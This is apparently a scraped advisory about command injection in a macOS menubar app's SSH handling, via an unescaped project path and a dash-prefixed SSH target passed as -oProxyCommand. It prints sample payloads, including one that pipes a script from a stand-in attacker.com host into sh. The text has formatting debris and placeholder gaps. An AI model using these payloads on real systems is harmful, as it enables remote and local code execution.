macOS, Command Injection via SSH Handling, CVE Pending (Critical)

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The `sshNodeCommand` function in `CommandResolver.swift` builds a shell script for remote execution. When setting the remote directory via cd

</code>, a failure triggers an error message constructed as <code>echo "cd failed for path: [bash]"</code>. The project path is inserted without any sanitization or escaping. If an attacker supplies a path like <code>fake_path; malicious_command</code>, the `echo` statement will execute the embedded command on the remote SSH host due to improper interpolation into the shell script context.
Simultaneously, the `parseSSHTarget` function fails to validate the structure of the SSH target string. Standard SSH clients treat arguments beginning with a dash (<code>-</code>) as command-line flags, not hostnames. By supplying a target such as <code>-oProxyCommand=sh -c 'malicious_command'</code>, the application passes this string directly to the underlying SSH command. The SSH client interprets it as a configuration flag, executing the specified proxy command on the local machine immediately during connection initiation, leading to local command execution.
Platform: macOS menubar application
Version: Not specified
Vulnerability: Command Injection
Severity: Critical
date: 2024-10-27

<h2 style="color: blue;">Prediction: Expected Patch Q4 2024</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

[bash]
Example malicious project path for remote execution
fake_path; curl http://attacker.com/shell.sh | sh
Example malicious SSH target for local execution
-oProxyCommand="sh -c 'open /Applications/Calculator.app'"
// Simplified vulnerable code snippet from CommandResolver.swift
let errorScript = """
cd (userProjectPath)
if [ $? -ne 0 ]; then
echo "cd failed for path: (userProjectPath)"
exit 1
fi
"""

How Exploit:

Social engineering to inject malicious path or SSH target into app config.

Remote execution via unescaped `userProjectPath` in `echo`.

Local execution via dash-prefixed SSH target parsed as flag.

Protection from this CVE

Implement strict input validation.

Escape all user inputs in shell contexts.

Reject SSH targets starting with "-".

Impact:

Arbitrary code execution.

Local or remote host compromise.

Full system control potential.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

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